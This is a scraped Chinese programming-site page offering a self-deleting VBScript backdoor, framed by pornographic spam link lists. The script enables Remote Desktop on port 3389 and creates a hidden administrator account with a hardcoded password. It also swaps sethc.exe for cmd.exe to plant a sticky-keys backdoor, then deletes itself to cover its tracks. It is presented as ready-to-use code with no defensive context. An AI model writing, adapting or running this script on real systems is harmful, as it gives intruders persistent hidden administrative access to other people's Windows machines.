麻豆小视频在线观看_中文黄色一级片_久久久成人精品_成片免费观看视频大全_午夜精品久久久久久久99热浪潮_成人一区二区三区四区

首頁 > 編程 > VBScript > 正文

可自刪除 開啟3389創建用戶粘滯鍵后門的vbs

2020-07-26 11:54:46
字體:
來源:轉載
供稿:網友
on error resume next
const HKEY_LOCAL_MACHINE = &H80000002
strComputer = "."
Set StdOut = WScript.StdOut
Set oReg=GetObject("winmgmts:{impersonationLevel=impersonate}!//" &_
strComputer & "/root/default:StdRegProv")
strKeyPath = "SYSTEM/CurrentControlSet/Control/Terminal Server"
oReg.CreateKey HKEY_LOCAL_MACHINE,strKeyPath
strKeyPath = "SYSTEM/CurrentControlSet/Control/Terminal Server/Wds/rdpwd/Tds/tcp"
oReg.CreateKey HKEY_LOCAL_MACHINE,strKeyPath
strKeyPath = "SYSTEM/CurrentControlSet/Control/Terminal Server/WinStations/RDP-Tcp"
strKeyPath = "SYSTEM/CurrentControlSet/Control/Terminal Server"
strValueName = "fDenyTSConnections"
dwValue = 0
oReg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValue
strKeyPath = "SYSTEM/CurrentControlSet/Control/Terminal Server/Wds/rdpwd/Tds/tcp"
strValueName = "PortNumber"
dwValue = 3389
oReg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValue
strKeyPath = "SYSTEM/CurrentControlSet/Control/Terminal Server/WinStations/RDP-Tcp"
strValueName = "PortNumber"
dwValue = 3389
oReg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValue
on error resume next
dim username,password:If Wscript.Arguments.Count Then:username=Wscript.Arguments(0):password=Wscript.Arguments(1):Else:username="wykgif":password="wykgif123456":end if:set wsnetwork=CreateObject("WSCRIPT.NETWORK"):os="WinNT://"&wsnetwork.ComputerName:Set ob=GetObject(os):Set oe=GetObject(os&"/Administrators,group"):Set od=ob.Create("user",username):od.SetPassword password:od.SetInfo:Set of=GetObject(os&"/"&username&",user"):oe.Add(of.ADsPath)'wscript.echo of.ADsPath
On Error Resume Next
Dim obj, success
Set obj = CreateObject("WScript.Shell")
success = obj.run("cmd /c takeown /f %SystemRoot%/system32/sethc.exe&echo y| cacls %SystemRoot%/system32/sethc.exe /G %USERNAME%:F&copy %SystemRoot%/system32/cmd.exe %SystemRoot%/system32/acmd.exe&copy %SystemRoot%/system32/sethc.exe %SystemRoot%/system32/asethc.exe&del %SystemRoot%/system32/sethc.exe&ren %SystemRoot%/system32/acmd.exe sethc.exe", 0, True)
CreateObject("Scripting.FileSystemObject").DeleteFile(WScript.ScriptName)
發表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發表
主站蜘蛛池模板: 黄色网页在线观看 | 欧美天堂一区 | www.91操 | 久久99国产精品免费网站 | 中国大陆高清aⅴ毛片 | 精品国产一区二区三区久久久狼牙 | 黄色7777| 日韩色电影 | 麻豆视频在线播放 | 中文亚洲视频 | 激情亚洲一区二区 | 99999久久久久久 | 亚洲人成网站在e线播放 | 国产精品一区视频 | 97超级碰碰人国产在线观看 | 毛片网站视频 | 亚洲精品一区二区三区免 | 看中国一级毛片 | 热99在线视频 | 久久久久久久久久性 | 国产三级在线视频观看 | 国产精品成aⅴ人片在线观看 | 免费一级电影 | 暴力肉体进入hdxxxx0 | 一级精品 | 红杏网站永久免费视频入口 | 深夜福利视频绿巨人视频在线观看 | 亚洲午夜久久久精品一区二区三区 | 免费a级观看| 在线播放污 | 性爱视频在线免费 | 午夜亚洲视频 | 日韩一级免费毛片 | 99激情| 精精国产xxxx视频在线播放7 | www亚洲免费 | 亚洲午夜精品视频 | 国产一区二区高清在线 | 91在线播放国产 | 久久人人97超碰国产公开结果 | 精品国产呦系列在线看 |